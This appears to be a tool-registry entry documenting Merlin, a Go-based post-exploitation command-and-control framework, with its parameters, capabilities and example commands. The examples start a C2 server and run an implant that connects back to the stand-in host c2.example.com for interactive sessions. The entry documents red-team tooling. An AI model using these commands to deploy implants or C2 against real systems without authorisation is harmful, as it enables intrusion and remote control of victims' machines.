security enabled verified high v1.0.0

merlin

Cross-platform post-exploitation C2 framework written in Go, supporting HTTP/2, gRPC, and WebSocket communication for agent management.

📋 Live Preview
merlin-server {flags}
📎 flags
merlin-server {flags}

Sandbox: execFile · Timeout: 3600s

Capabilities

agent.communication
command.control.c2
implant.generation
post.exploitation
adversary.simulation

Parameters

Name Type Required Default Description Aliases
flag-i string No - Server bind IP address -i, --ip
flag-p integer No - Server port -p, --port
flag-parallel integer No - Number of parallel jobs -parallel
flag-verbose boolean No - Enable verbose logging -v, --verbose
flag-sleep string No - Agent sleep interval (e.g. 10s, 1m) -s, --sleep
flag-jitter string No - Agent jitter percentage (e.g. 30%%) -j, --jitter
flag-k string No - Kill date for agent -k, --killdate
flag-proto string No - Protocol (http2, grpc, ws) -proto

Contract

Inputs

network.target.ip

Server bind address

network.port.number

Server listen port

payload.type

Agent type (HTTP2, gRPC, WebSocket)

Outputs

agent.session

Agent session

implant.binary

Generated Go implant binary

Side effects: network_trafficprocess_spawnfilesystem_write

Workflow Edges

Produces

agent.sessionimplant.binary

Consumes

network.target.ipnetwork.port.numberpayload.type

Resource Profile

ResourceValue
CPUmedium
Memory128 MB
Networkhigh
Disk I/Olow

Examples

Start Merlin server on default port

merlin-server --ip 0.0.0.0 --port 443

Start Merlin server with verbose logging

merlin-server --ip 0.0.0.0 --port 8443 --verbose

Generate a Windows agent

merlin-agent-windows-amd64.exe -s https://c2.example.com:443

Documentation

Merlin — Go-Based C2 Framework

Merlin is a cross-platform post-exploitation C2 framework written in Go, providing HTTP/2, gRPC, and WebSocket-based communication between the server and agents. It supports multiple operating systems and is designed for red team operations.

Protocol Support

Protocol Description
HTTP/2 Encrypted C2 channel over HTTP/2
gRPC Bi-directional streaming with protocol buffers
WebSocket Real-time full-duplex communication

Common Commands

# Server setup
merlin-server -i 0.0.0.0 -p 443

# Generate agent and deploy
# The agent binary connects back with:
merlin-agent -s https://c2.example.com:443 -sleep 30s -jitter 30%

# Interactive shell from server
# Once agent checks in, use 'interact' to open a session

Related Tools

slivercovenantmythicpupy

References